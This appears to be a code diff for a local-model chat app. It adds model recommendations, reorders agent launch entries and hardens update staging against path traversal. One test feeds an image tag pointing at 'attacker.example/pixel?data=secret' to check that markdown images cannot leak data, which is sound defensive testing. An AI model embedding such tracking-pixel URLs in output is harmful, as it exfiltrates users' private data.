91 -53 5 -20 11 -23 31 -19 14 2 31 0 38 -6 17 -14 145 -34 168 -27 11 4 26 1
|
||||
34 -5 9 -7 23 -9 37 -4 13 5 41 9 63 11 22 1 51 3 65 4 14 1 37 -1 52 -5 21
|
||||
-6 27 -4 33 13 5 18 14 21 55 21 43 0 49 3 52 23 3 19 10 22 51 25 49 3 53 7
|
||||
37 32 -11 17 4 30 38 30 15 0 22 6 22 19 0 14 16 27 55 45 40 18 56 31 61 51
|
||||
3 14 16 32 27 40 18 13 20 18 10 34 -11 17 -8 21 25 35 100 44 116 63 55 68
|
||||
-33 3 -38 6 -36 26 3 22 0 22 -45 16 -44 -6 -49 -4 -83 29 -58 56 -354 199
|
||||
-469 227 -116 28 -147 43 -70 36 30 -3 108 -23 173 -45 64 -22 117 -36 117
|
||||
-31 0 13 -23 24 -160 75 -142 53 -197 60 -331 40z"/>
|
||||
<path d="M3027 5303 c-3 -5 -2 -15 2 -22 7 -10 10 -10 16 -1 4 6 3 16 -3 22
|
||||
-5 5 -12 6 -15 1z"/>
|
||||
<path d="M2180 4462 c0 -11 136 -122 149 -122 19 0 12 46 -11 75 -12 15 -36
|
||||
34 -54 41 -37 15 -84 19 -84 6z"/>
|
||||
</g></g></svg>
|
||||
|
After Width: | Height: | Size: 13 KiB |
@@ -406,6 +406,31 @@ export async function* pullModel(
|
||||
}
|
||||
}
|
||||
|
||||
export interface ModelRecommendation {
|
||||
model: string;
|
||||
description: string;
|
||||
context_length?: number;
|
||||
max_output_tokens?: number;
|
||||
vram_bytes?: number;
|
||||
}
|
||||
|
||||
export interface ModelRecommendationsResponse {
|
||||
recommendations: ModelRecommendation[];
|
||||
}
|
||||
|
||||
export async function getModelRecommendations(): Promise<ModelRecommendation[]> {
|
||||
const response = await fetch(
|
||||
`${API_BASE}/api/experimental/model-recommendations`,
|
||||
);
|
||||
if (!response.ok) {
|
||||
throw new Error(
|
||||
`Failed to fetch model recommendations: ${response.statusText}`,
|
||||
);
|
||||
}
|
||||
const data: ModelRecommendationsResponse = await response.json();
|
||||
return data.recommendations || [];
|
||||
}
|
||||
|
||||
export async function getInferenceCompute(): Promise<InferenceComputeResponse> {
|
||||
const response = await fetch(`${API_BASE}/api/v1/inference-compute`);
|
||||
if (!response.ok) {
|
||||
|
||||
@@ -13,6 +13,30 @@ interface LaunchCommand {
|
||||
}
|
||||
|
||||
const LAUNCH_COMMANDS: LaunchCommand[] = [
|
||||
{
|
||||
id: "claude",
|
||||
name: "Claude Code",
|
||||
command: "ollama launch claude",
|
||||
description: "Anthropic's coding tool with subagents",
|
||||
icon: "/launch-icons/claude-code.svg",
|
||||
iconClassName: "h-7 w-7",
|
||||
},
|
||||
{
|
||||
id: "codex-app",
|
||||
name: "Codex App",
|
||||
command: "ollama launch codex-app",
|
||||
description: "An AI agent you can delegate real work to, by OpenAI",
|
||||
icon: "/launch-icons/codex-app.png",
|
||||
iconClassName: "h-full w-full",
|
||||
},
|
||||
{
|
||||
id: "hermes",
|
||||
name: "Hermes Agent",
|
||||
command: "ollama launch hermes",
|
||||
description: "Self-improving AI agent built by Nous Research",
|
||||
icon: "/launch-icons/hermes-agent.svg",
|
||||
iconClassName: "h-7 w-7",
|
||||
},
|
||||
{
|
||||
id: "openclaw",
|
||||
name: "OpenClaw",
|
||||
@@ -21,12 +45,12 @@ const LAUNCH_COMMANDS: LaunchCommand[] = [
|
||||
icon: "/launch-icons/openclaw.svg",
|
||||
},
|
||||
{
|
||||
id: "claude",
|
||||
name: "Claude",
|
||||
command: "ollama launch claude",
|
||||
description: "Anthropic's coding tool with subagents",
|
||||
icon: "/launch-icons/claude.svg",
|
||||
iconClassName: "h-7 w-7",
|
||||
id: "opencode",
|
||||
name: "OpenCode",
|
||||
command: "ollama launch opencode",
|
||||
description: "Anomaly's open-source coding agent",
|
||||
icon: "/launch-icons/opencode.svg",
|
||||
iconClassName: "h-7 w-7 rounded",
|
||||
},
|
||||
{
|
||||
id: "codex",
|
||||
@@ -38,12 +62,13 @@ const LAUNCH_COMMANDS: LaunchCommand[] = [
|
||||
iconClassName: "h-7 w-7",
|
||||
},
|
||||
{
|
||||
id: "opencode",
|
||||
name: "OpenCode",
|
||||
command: "ollama launch opencode",
|
||||
description: "Anomaly's open-source coding agent",
|
||||
icon: "/launch-icons/opencode.svg",
|
||||
iconClassName: "h-7 w-7 rounded",
|
||||
id: "copilot",
|
||||
name: "Copilot CLI",
|
||||
command: "ollama launch copilot",
|
||||
description: "GitHub's AI coding agent for the terminal",
|
||||
icon: "/launch-icons/copilot.svg",
|
||||
darkIcon: "/launch-icons/copilot-dark.svg",
|
||||
iconClassName: "h-7 w-7",
|
||||
},
|
||||
{
|
||||
id: "droid",
|
||||
|
||||
@@ -0,0 +1,61 @@
|
||||
import { renderToStaticMarkup } from "react-dom/server";
|
||||
import type React from "react";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
type MockStreamdownProps = {
|
||||
children?: React.ReactNode;
|
||||
components: {
|
||||
img: React.ComponentType<React.ImgHTMLAttributes<HTMLImageElement>>;
|
||||
};
|
||||
rehypePlugins?: unknown[];
|
||||
};
|
||||
|
||||
const streamdownMock = vi.hoisted(() =>
|
||||
vi.fn((props: MockStreamdownProps) => props.children),
|
||||
);
|
||||
|
||||
vi.mock("streamdown", () => ({
|
||||
Streamdown: streamdownMock,
|
||||
defaultRehypePlugins: {
|
||||
katex: "katex",
|
||||
raw: "raw",
|
||||
},
|
||||
defaultRemarkPlugins: {
|
||||
gfm: "gfm",
|
||||
math: "math",
|
||||
},
|
||||
}));
|
||||
|
||||
import StreamingMarkdownContent from "./StreamingMarkdownContent";
|
||||
|
||||
describe("StreamingMarkdownContent", () => {
|
||||
beforeEach(() => {
|
||||
streamdownMock.mockClear();
|
||||
});
|
||||
|
||||
it("does not enable raw HTML parsing", () => {
|
||||
renderToStaticMarkup(
|
||||
<StreamingMarkdownContent content="<iframe></iframe>" />,
|
||||
);
|
||||
|
||||
const props = streamdownMock.mock.calls[0][0];
|
||||
expect(props.rehypePlugins).toEqual(["katex"]);
|
||||
expect(props.rehypePlugins).not.toContain("raw");
|
||||
});
|
||||
|
||||
it("does not render markdown image src values", () => {
|
||||
renderToStaticMarkup(
|
||||
<StreamingMarkdownContent content="" />,
|
||||
);
|
||||
|
||||
const props = streamdownMock.mock.calls[0][0];
|
||||
const Img = props.components.img;
|
||||
const html = renderToStaticMarkup(
|
||||
<Img alt="secret" src="https://attacker.example/pixel?data=secret" />,
|
||||
);
|
||||
|
||||
expect(html).not.toContain("<img");
|
||||
expect(html).not.toContain("attacker.example");
|
||||
expect(html).toContain("secret");
|
||||
});
|
||||
});
|
||||
@@ -1,5 +1,9 @@
|
||||
import React from "react";
|
||||
import { Streamdown, defaultRemarkPlugins } from "streamdown";
|
||||
import {
|
||||
Streamdown,
|
||||
defaultRehypePlugins,
|
||||
defaultRemarkPlugins,
|
||||
} from "streamdown";
|
||||
import remarkCitationParser from "@/utils/remarkCitationParser";
|
||||
import CopyButton from "./CopyButton";
|
||||
import type { BundledLanguage } from "shiki";
|
||||
@@ -29,6 +33,8 @@ const extractText = (node: React.ReactNode): string => {
|
||||
return "";
|
||||
};
|
||||
|
||||
const safeRehypePlugins = [defaultRehypePlugins.katex];
|
||||
|
||||
const CodeBlock = React.memo(
|
||||
({ children }: React.HTMLAttributes<HTMLPreElement>) => {
|
||||
// Extract code and language from children
|
||||
@@ -210,9 +216,12 @@ const StreamingMarkdownContent: React.FC<StreamingMarkdownContentProps> =
|
||||
<Streamdown
|
||||
parseIncompleteMarkdown={isStreaming}
|
||||
isAnimating={isStreaming}
|
||||
rehypePlugins={safeRehypePlugins}
|
||||
remarkPlugins={remarkPlugins}
|
||||
controls={false}
|
||||
components={{
|
||||
img: ({ alt }: React.ImgHTMLAttributes<HTMLImageElement>) =>
|
||||
alt ? <span>{alt}</span> : null,
|
||||
pre: CodeBlock,
|
||||
table: ({
|
||||
children,
|
||||
|
||||
@@ -381,7 +381,7 @@ export const useSendMessage = (chatId: string) => {
|
||||
role: "assistant",
|
||||
content: "",
|
||||
thinking: "",
|
||||
model: effectiveModel,
|
||||
model: effectiveModel.model,
|
||||
}),
|
||||
);
|
||||
lastMessage = newMessages[newMessages.length - 1];
|
||||
@@ -433,7 +433,7 @@ export const useSendMessage = (chatId: string) => {
|
||||
role: "assistant",
|
||||
content: "",
|
||||
thinking: "",
|
||||
model: effectiveModel,
|
||||
model: effectiveModel.model,
|
||||
}),
|
||||
);
|
||||
lastMessage = newMessages[newMessages.length - 1];
|
||||
@@ -520,7 +520,7 @@ export const useSendMessage = (chatId: string) => {
|
||||
thinkingTimeStart:
|
||||
lastMessage.thinkingTimeStart || event.thinkingTimeStart,
|
||||
thinkingTimeEnd: event.thinkingTimeEnd,
|
||||
model: selectedModel,
|
||||
model: selectedModel.model,
|
||||
});
|
||||
newMessages[newMessages.length - 1] = updatedMessage;
|
||||
} else {
|
||||
@@ -533,7 +533,7 @@ export const useSendMessage = (chatId: string) => {
|
||||
tool_calls: event.toolCalls,
|
||||
thinkingTimeStart: event.thinkingTimeStart,
|
||||
thinkingTimeEnd: event.thinkingTimeEnd,
|
||||
model: selectedModel,
|
||||
model: selectedModel.model,
|
||||
}),
|
||||
);
|
||||
}
|
||||
@@ -699,7 +699,7 @@ export const useSendMessage = (chatId: string) => {
|
||||
queryClient.setQueryData(["chat", newId], {
|
||||
chat: new Chat({
|
||||
id: newId,
|
||||
model: effectiveModel,
|
||||
model: effectiveModel.model,
|
||||
messages: [
|
||||
new Message({
|
||||
role: "user",
|
||||
|
||||
@@ -0,0 +1,13 @@
|
||||
import { useQuery } from "@tanstack/react-query";
|
||||
import { getModelRecommendations } from "@/api";
|
||||
import type { ModelRecommendation } from "@/api";
|
||||
|
||||
export function useFeaturedModels() {
|
||||
return useQuery<ModelRecommendation[], Error>({
|
||||
queryKey: ["modelRecommendations"],
|
||||
queryFn: getModelRecommendations,
|
||||
staleTime: 5 * 60 * 1000,
|
||||
gcTime: 30 * 60 * 1000,
|
||||
refetchOnWindowFocus: false,
|
||||
});
|
||||
}
|
||||
@@ -1,51 +1,49 @@
|
||||
import { useQuery } from "@tanstack/react-query";
|
||||
import { Model } from "@/gotypes";
|
||||
import { getModels } from "@/api";
|
||||
import { mergeModels } from "@/utils/mergeModels";
|
||||
import { useMemo } from "react";
|
||||
import { useCloudStatus } from "./useCloudStatus";
|
||||
import { useFeaturedModels } from "./useFeaturedModels";
|
||||
|
||||
export function useModels(searchQuery = "") {
|
||||
const { cloudDisabled } = useCloudStatus();
|
||||
const { data: recommendations, isLoading: recommendationsLoading } =
|
||||
useFeaturedModels();
|
||||
const localQuery = useQuery<Model[], Error>({
|
||||
queryKey: ["models", searchQuery],
|
||||
queryFn: () => getModels(searchQuery),
|
||||
gcTime: 10 * 60 * 1000, // Keep in cache for 10 minutes
|
||||
gcTime: 10 * 60 * 1000,
|
||||
retry: 10,
|
||||
// exponential backoff, starting at 100ms and capping at 5s
|
||||
retryDelay: (attemptIndex) => Math.min(100 * 2 ** attemptIndex, 5000),
|
||||
refetchOnWindowFocus: true,
|
||||
refetchInterval: 30 * 1000, // Refetch every 30 seconds to keep models updated
|
||||
refetchInterval: 30 * 1000,
|
||||
refetchIntervalInBackground: true,
|
||||
});
|
||||
|
||||
const allModels = useMemo(() => {
|
||||
const models = mergeModels(localQuery.data || [], cloudDisabled);
|
||||
const local = localQuery.data || [];
|
||||
const featured = (recommendations || []).map((r) => r.model);
|
||||
const featuredSet = new Set(featured);
|
||||
|
||||
if (searchQuery && searchQuery.trim()) {
|
||||
const query = searchQuery.toLowerCase().trim();
|
||||
const filteredModels = models.filter((model) =>
|
||||
model.model.toLowerCase().includes(query),
|
||||
);
|
||||
// Recommended models first (using the local copy when downloaded),
|
||||
// then everything else from /api/tags in tags order.
|
||||
const recommended = featured.map(
|
||||
(name) =>
|
||||
local.find((m) => m.model === name) || new Model({ model: name }),
|
||||
);
|
||||
const rest = local.filter((m) => !featuredSet.has(m.model));
|
||||
const merged = [...recommended, ...rest];
|
||||
|
||||
const seen = new Set<string>();
|
||||
return filteredModels.filter((model) => {
|
||||
const currentModel = model.model.toLowerCase();
|
||||
if (seen.has(currentModel)) {
|
||||
return false;
|
||||
}
|
||||
seen.add(currentModel);
|
||||
return true;
|
||||
});
|
||||
}
|
||||
|
||||
return models;
|
||||
}, [localQuery.data, searchQuery, cloudDisabled]);
|
||||
const visible = cloudDisabled
|
||||
? merged.filter((m) => !m.isCloud())
|
||||
: merged;
|
||||
return filterBySearch(visible, searchQuery);
|
||||
}, [localQuery.data, searchQuery, cloudDisabled, recommendations]);
|
||||
|
||||
return {
|
||||
...localQuery,
|
||||
data: allModels,
|
||||
isLoading: localQuery.isLoading,
|
||||
isLoading: localQuery.isLoading || recommendationsLoading,
|
||||
};
|
||||
}
|
||||
|
||||
@@ -53,3 +51,16 @@ export function useRefetchModels() {
|
||||
const { refetch } = useModels();
|
||||
return refetch;
|
||||
}
|
||||
|
||||
function filterBySearch(models: Model[], query: string): Model[] {
|
||||
const q = query.trim().toLowerCase();
|
||||
if (!q) return models;
|
||||
|
||||
const seen = new Set<string>();
|
||||
return models.filter((m) => {
|
||||
const name = m.model.toLowerCase();
|
||||
if (!name.includes(q) || seen.has(name)) return false;
|
||||
seen.add(name);
|
||||
return true;
|
||||
});
|
||||
}
|
||||
@@ -4,7 +4,6 @@ import { useModels } from "./useModels";
|
||||
import { useChat } from "./useChats";
|
||||
import { useSettings } from "./useSettings.ts";
|
||||
import { Model } from "@/gotypes";
|
||||
import { FEATURED_MODELS } from "@/utils/mergeModels";
|
||||
import { getTotalVRAM } from "@/utils/vram.ts";
|
||||
import { getInferenceCompute } from "@/api";
|
||||
import { useCloudStatus } from "./useCloudStatus";
|
||||
@@ -92,9 +91,7 @@ export function useSelectedModel(currentChatId?: string, searchQuery?: string) {
|
||||
(settings.selectedModel &&
|
||||
new Model({
|
||||
model: settings.selectedModel,
|
||||
cloud: FEATURED_MODELS.some(
|
||||
(f) => f.endsWith("cloud") && f === settings.selectedModel,
|
||||
),
|
||||
cloud: settings.selectedModel.endsWith("cloud"),
|
||||
ollama_host: false,
|
||||
})) ||
|
||||
null
|
||||
|
||||
@@ -1,128 +0,0 @@
|
||||
import { describe, it, expect } from "vitest";
|
||||
import { Model } from "@/gotypes";
|
||||
import { mergeModels, FEATURED_MODELS } from "@/utils/mergeModels";
|
||||
import "@/api";
|
||||
|
||||
describe("Model merging logic", () => {
|
||||
it("should handle cloud models with -cloud suffix", () => {
|
||||
const localModels: Model[] = [
|
||||
new Model({ model: "gpt-oss:120b-cloud" }),
|
||||
new Model({ model: "llama3:latest" }),
|
||||
new Model({ model: "mistral:latest" }),
|
||||
];
|
||||
|
||||
const merged = mergeModels(localModels);
|
||||
|
||||
// First verify cloud models are first and in FEATURED_MODELS order
|
||||
const cloudModels = FEATURED_MODELS.filter((m: string) =>
|
||||
m.endsWith("cloud"),
|
||||
);
|
||||
for (let i = 0; i < cloudModels.length; i++) {
|
||||
expect(merged[i].model).toBe(cloudModels[i]);
|
||||
expect(merged[i].isCloud()).toBe(true);
|
||||
}
|
||||
|
||||
// Then verify non-cloud featured models are next and in FEATURED_MODELS order
|
||||
const nonCloudFeatured = FEATURED_MODELS.filter(
|
||||
(m: string) => !m.endsWith("cloud"),
|
||||
);
|
||||
for (let i = 0; i < nonCloudFeatured.length; i++) {
|
||||
const model = merged[i + cloudModels.length];
|
||||
expect(model.model).toBe(nonCloudFeatured[i]);
|
||||
expect(model.isCloud()).toBe(false);
|
||||
}
|
||||
|
||||
// Verify local models are preserved and come after featured models
|
||||
const featuredCount = FEATURED_MODELS.length;
|
||||
expect(merged[featuredCount].model).toBe("llama3:latest");
|
||||
expect(merged[featuredCount + 1].model).toBe("mistral:latest");
|
||||
|
||||
// Length should be exactly featured models plus our local models
|
||||
expect(merged.length).toBe(FEATURED_MODELS.length + 2);
|
||||
});
|
||||
|
||||
it("should hide cloud models when cloud is disabled", () => {
|
||||
const localModels: Model[] = [
|
||||
new Model({ model: "gpt-oss:120b-cloud" }),
|
||||
new Model({ model: "llama3:latest" }),
|
||||
new Model({ model: "mistral:latest" }),
|
||||
];
|
||||
|
||||
const merged = mergeModels(localModels, true); // cloud disabled = true
|
||||
|
||||
// No cloud models should be present
|
||||
const cloudModels = merged.filter((m) => m.isCloud());
|
||||
expect(cloudModels.length).toBe(0);
|
||||
|
||||
// Should have non-cloud featured models
|
||||
const nonCloudFeatured = FEATURED_MODELS.filter(
|
||||
(m) => !m.endsWith("cloud"),
|
||||
);
|
||||
for (let i = 0; i < nonCloudFeatured.length; i++) {
|
||||
const model = merged[i];
|
||||
expect(model.model).toBe(nonCloudFeatured[i]);
|
||||
expect(model.isCloud()).toBe(false);
|
||||
}
|
||||
|
||||
// Local models should be preserved
|
||||
const featuredCount = nonCloudFeatured.length;
|
||||
expect(merged[featuredCount].model).toBe("llama3:latest");
|
||||
expect(merged[featuredCount + 1].model).toBe("mistral:latest");
|
||||
});
|
||||
|
||||
it("should handle empty input", () => {
|
||||
const merged = mergeModels([]);
|
||||
|
||||
// First verify cloud models are first and in FEATURED_MODELS order
|
||||
const cloudModels = FEATURED_MODELS.filter((m) => m.endsWith("cloud"));
|
||||
for (let i = 0; i < cloudModels.length; i++) {
|
||||
expect(merged[i].model).toBe(cloudModels[i]);
|
||||
expect(merged[i].isCloud()).toBe(true);
|
||||
}
|
||||
|
||||
// Then verify non-cloud featured models are next and in FEATURED_MODELS order
|
||||
const nonCloudFeatured = FEATURED_MODELS.filter(
|
||||
(m) => !m.endsWith("cloud"),
|
||||
);
|
||||
for (let i = 0; i < nonCloudFeatured.length; i++) {
|
||||
const model = merged[i + cloudModels.length];
|
||||
expect(model.model).toBe(nonCloudFeatured[i]);
|
||||
expect(model.isCloud()).toBe(false);
|
||||
}
|
||||
|
||||
// Length should be exactly FEATURED_MODELS length
|
||||
expect(merged.length).toBe(FEATURED_MODELS.length);
|
||||
});
|
||||
|
||||
it("should sort models correctly", () => {
|
||||
const localModels: Model[] = [
|
||||
new Model({ model: "zephyr:latest" }),
|
||||
new Model({ model: "alpha:latest" }),
|
||||
new Model({ model: "gpt-oss:120b-cloud" }),
|
||||
];
|
||||
|
||||
const merged = mergeModels(localModels);
|
||||
|
||||
// First verify cloud models are first and in FEATURED_MODELS order
|
||||
const cloudModels = FEATURED_MODELS.filter((m) => m.endsWith("cloud"));
|
||||
for (let i = 0; i < cloudModels.length; i++) {
|
||||
expect(merged[i].model).toBe(cloudModels[i]);
|
||||
expect(merged[i].isCloud()).toBe(true);
|
||||
}
|
||||
|
||||
// Then verify non-cloud featured models are next and in FEATURED_MODELS order
|
||||
const nonCloudFeatured = FEATURED_MODELS.filter(
|
||||
(m) => !m.endsWith("cloud"),
|
||||
);
|
||||
for (let i = 0; i < nonCloudFeatured.length; i++) {
|
||||
const model = merged[i + cloudModels.length];
|
||||
expect(model.model).toBe(nonCloudFeatured[i]);
|
||||
expect(model.isCloud()).toBe(false);
|
||||
}
|
||||
|
||||
// Non-featured local models should be at the end in alphabetical order
|
||||
const featuredCount = FEATURED_MODELS.length;
|
||||
expect(merged[featuredCount].model).toBe("alpha:latest");
|
||||
expect(merged[featuredCount + 1].model).toBe("zephyr:latest");
|
||||
});
|
||||
});
|
||||
@@ -1,102 +0,0 @@
|
||||
import { Model } from "@/gotypes";
|
||||
|
||||
// Featured models list (in priority order)
|
||||
export const FEATURED_MODELS = [
|
||||
"kimi-k2.5:cloud",
|
||||
"glm-5:cloud",
|
||||
"minimax-m2.7:cloud",
|
||||
"gemma4:31b-cloud",
|
||||
"qwen3.5:397b-cloud",
|
||||
"gpt-oss:120b-cloud",
|
||||
"gpt-oss:20b-cloud",
|
||||
"deepseek-v3.1:671b-cloud",
|
||||
"gpt-oss:120b",
|
||||
"gpt-oss:20b",
|
||||
"gemma4:31b",
|
||||
"gemma4:26b",
|
||||
"gemma4:e4b",
|
||||
"gemma4:e2b",
|
||||
"deepseek-r1:8b",
|
||||
"qwen3-coder:30b",
|
||||
"qwen3-vl:30b",
|
||||
"qwen3-vl:8b",
|
||||
"qwen3-vl:4b",
|
||||
"qwen3.5:27b",
|
||||
"qwen3.5:9b",
|
||||
"qwen3.5:4b",
|
||||
];
|
||||
|
||||
function alphabeticalSort(a: Model, b: Model): number {
|
||||
return a.model.toLowerCase().localeCompare(b.model.toLowerCase());
|
||||
}
|
||||
|
||||
//Merges models, sorting cloud models first, then other models
|
||||
export function mergeModels(
|
||||
localModels: Model[],
|
||||
hideCloudModels: boolean = false,
|
||||
): Model[] {
|
||||
const allModels = (localModels || []).map((model) => model);
|
||||
|
||||
// 1. Get cloud models from local models and featured list
|
||||
const cloudModels = [...allModels.filter((m) => m.isCloud())];
|
||||
|
||||
// Add any cloud models from FEATURED_MODELS that aren't in local models
|
||||
FEATURED_MODELS.filter((f) => f.endsWith("cloud")).forEach((cloudModel) => {
|
||||
if (!cloudModels.some((m) => m.model === cloudModel)) {
|
||||
cloudModels.push(new Model({ model: cloudModel }));
|
||||
}
|
||||
});
|
||||
|
||||
// 2. Get other featured models (non-cloud)
|
||||
const featuredModels = FEATURED_MODELS.filter(
|
||||
(f) => !f.endsWith("cloud"),
|
||||
).map((model) => {
|
||||
// Check if this model exists in local models
|
||||
const localMatch = allModels.find(
|
||||
(m) => m.model.toLowerCase() === model.toLowerCase(),
|
||||
);
|
||||
|
||||
if (localMatch) return localMatch;
|
||||
|
||||
return new Model({
|
||||
model,
|
||||
});
|
||||
});
|
||||
|
||||
// 3. Get remaining local models that aren't featured and aren't cloud models
|
||||
const remainingModels = allModels.filter(
|
||||
(model) =>
|
||||
!model.isCloud() &&
|
||||
!FEATURED_MODELS.some(
|
||||
(f) => f.toLowerCase() === model.model.toLowerCase(),
|
||||
),
|
||||
);
|
||||
|
||||
cloudModels.sort((a, b) => {
|
||||
const aIndex = FEATURED_MODELS.indexOf(a.model);
|
||||
const bIndex = FEATURED_MODELS.indexOf(b.model);
|
||||
|
||||
// If both are featured, sort by their position in FEATURED_MODELS
|
||||
if (aIndex !== -1 && bIndex !== -1) {
|
||||
return aIndex - bIndex;
|
||||
}
|
||||
|
||||
// If only one is featured, featured model comes first
|
||||
if (aIndex !== -1 && bIndex === -1) return -1;
|
||||
if (aIndex === -1 && bIndex !== -1) return 1;
|
||||
|
||||
// If neither is featured, sort alphabetically
|
||||
return a.model.toLowerCase().localeCompare(b.model.toLowerCase());
|
||||
});
|
||||
|
||||
featuredModels.sort(
|
||||
(a, b) =>
|
||||
FEATURED_MODELS.indexOf(a.model) - FEATURED_MODELS.indexOf(b.model),
|
||||
);
|
||||
|
||||
remainingModels.sort(alphabeticalSort);
|
||||
|
||||
return hideCloudModels
|
||||
? [...featuredModels, ...remainingModels]
|
||||
: [...cloudModels, ...featuredModels, ...remainingModels];
|
||||
}
|
||||
@@ -302,6 +302,7 @@ func (s *Server) Handler() http.Handler {
|
||||
mux.Handle("HEAD /api/version", ollamaProxy)
|
||||
mux.Handle("POST /api/me", ollamaProxy)
|
||||
mux.Handle("POST /api/signout", ollamaProxy)
|
||||
mux.Handle("GET /api/experimental/model-recommendations", ollamaProxy)
|
||||
|
||||
// React app - catch all non-API routes and serve the React app
|
||||
mux.Handle("GET /", s.appHandler())
|
||||
@@ -573,6 +574,18 @@ func (s *Server) getError(err error) responses.ErrorEvent {
|
||||
}
|
||||
}
|
||||
|
||||
func userMessageText(messages []store.Message) string {
|
||||
var b strings.Builder
|
||||
for _, message := range messages {
|
||||
if message.Role != "user" {
|
||||
continue
|
||||
}
|
||||
b.WriteString(message.Content)
|
||||
b.WriteByte('\n')
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
func (s *Server) browserState(chat *store.Chat) (*responses.BrowserStateData, bool) {
|
||||
if len(chat.BrowserState) > 0 {
|
||||
var st responses.BrowserStateData
|
||||
@@ -838,6 +851,7 @@ func (s *Server) chat(w http.ResponseWriter, r *http.Request) error {
|
||||
// Note: Skip agent/tools mode if user has attachments, as the agent doesn't handle file attachments properly
|
||||
registry := tools.NewRegistry()
|
||||
var browser *tools.Browser
|
||||
ctx = tools.WithAllowedDirectURLs(ctx, userMessageText(chat.Messages))
|
||||
|
||||
if !hasAttachments {
|
||||
WebSearchEnabled := req.WebSearch != nil && *req.WebSearch
|
||||
|
||||
+73
-14
@@ -5,6 +5,8 @@ package updater
|
||||
import (
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
@@ -169,22 +171,20 @@ func (u *Updater) DownloadNewRelease(ctx context.Context, updateResp UpdateRespo
|
||||
if err != nil {
|
||||
return fmt.Errorf("error checking update: %w", err)
|
||||
}
|
||||
resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return fmt.Errorf("unexpected status attempting to download update %d", resp.StatusCode)
|
||||
}
|
||||
resp.Body.Close()
|
||||
etag := strings.Trim(resp.Header.Get("etag"), "\"")
|
||||
if etag == "" {
|
||||
slog.Debug("no etag detected, falling back to filename based dedup")
|
||||
etag = "_"
|
||||
}
|
||||
filename := Installer
|
||||
_, params, err := mime.ParseMediaType(resp.Header.Get("content-disposition"))
|
||||
if err == nil {
|
||||
if err == nil && params["filename"] != "" {
|
||||
filename = params["filename"]
|
||||
}
|
||||
|
||||
stageFilename := filepath.Join(UpdateStageDir, etag, filename)
|
||||
stageFilename, err := updateStagePath(UpdateStageDir, resp.Header.Get("etag"), filename)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Check to see if we already have it downloaded
|
||||
_, err = os.Stat(stageFilename)
|
||||
@@ -202,13 +202,14 @@ func (u *Updater) DownloadNewRelease(ctx context.Context, updateResp UpdateRespo
|
||||
return fmt.Errorf("error checking update: %w", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
etag = strings.Trim(resp.Header.Get("etag"), "\"")
|
||||
if etag == "" {
|
||||
slog.Debug("no etag detected, falling back to filename based dedup") // TODO probably can get rid of this redundant log
|
||||
etag = "_"
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return fmt.Errorf("unexpected status attempting to download update %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
stageFilename = filepath.Join(UpdateStageDir, etag, filename)
|
||||
stageFilename, err = updateStagePath(UpdateStageDir, resp.Header.Get("etag"), filename)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
_, err = os.Stat(filepath.Dir(stageFilename))
|
||||
if errors.Is(err, os.ErrNotExist) {
|
||||
@@ -225,10 +226,13 @@ func (u *Updater) DownloadNewRelease(ctx context.Context, updateResp UpdateRespo
|
||||
if err != nil {
|
||||
return fmt.Errorf("write payload %s: %w", stageFilename, err)
|
||||
}
|
||||
defer fp.Close()
|
||||
if n, err := fp.Write(payload); err != nil || n != len(payload) {
|
||||
_ = fp.Close()
|
||||
return fmt.Errorf("write payload %s: %d vs %d -- %w", stageFilename, n, len(payload), err)
|
||||
}
|
||||
if err := fp.Close(); err != nil {
|
||||
return fmt.Errorf("close payload %s: %w", stageFilename, err)
|
||||
}
|
||||
slog.Info("new update downloaded " + stageFilename)
|
||||
|
||||
if err := VerifyDownload(); err != nil {
|
||||
@@ -239,6 +243,61 @@ func (u *Updater) DownloadNewRelease(ctx context.Context, updateResp UpdateRespo
|
||||
return nil
|
||||
}
|
||||
|
||||
func updateStagePath(stageDir, etag, filename string) (string, error) {
|
||||
filename, err := safeUpdateFilename(filename)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
stageDir, err = filepath.Abs(stageDir)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("resolve update stage dir: %w", err)
|
||||
}
|
||||
|
||||
stageFilename := filepath.Join(stageDir, updateStageETagDir(etag), filename)
|
||||
if err := ensurePathInDir(stageDir, stageFilename); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
return stageFilename, nil
|
||||
}
|
||||
|
||||
func safeUpdateFilename(filename string) (string, error) {
|
||||
filename = strings.TrimSpace(filename)
|
||||
if filename == "" {
|
||||
return "", errors.New("missing update filename")
|
||||
}
|
||||
if filename == "." || filename == ".." ||
|
||||
filepath.IsAbs(filename) || path.IsAbs(filename) ||
|
||||
strings.ContainsAny(filename, `/\:`) ||
|
||||
filepath.Base(filename) != filename || path.Base(filename) != filename {
|
||||
return "", fmt.Errorf("unsafe update filename %q", filename)
|
||||
}
|
||||
return filename, nil
|
||||
}
|
||||
|
||||
func updateStageETagDir(etag string) string {
|
||||
etag = strings.Trim(strings.TrimSpace(etag), "\"")
|
||||
if etag == "" {
|
||||
slog.Debug("no etag detected, falling back to filename based dedup")
|
||||
return "_"
|
||||
}
|
||||
|
||||
sum := sha256.Sum256([]byte(etag))
|
||||
return hex.EncodeToString(sum[:])
|
||||
}
|
||||
|
||||
func ensurePathInDir(dir, name string) error {
|
||||
rel, err := filepath.Rel(dir, name)
|
||||
if err != nil {
|
||||
return fmt.Errorf("resolve update staging path: %w", err)
|
||||
}
|
||||
if rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) || filepath.IsAbs(rel) {
|
||||
return fmt.Errorf("update staging path escapes stage dir: %s", name)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func cleanupOldDownloads(stageDir string) {
|
||||
files, err := os.ReadDir(stageDir)
|
||||
if err != nil && errors.Is(err, os.ErrNotExist) {
|
||||
|
||||
@@ -22,6 +22,15 @@ import (
|
||||
"golang.org/x/sys/unix"
|
||||
)
|
||||
|
||||
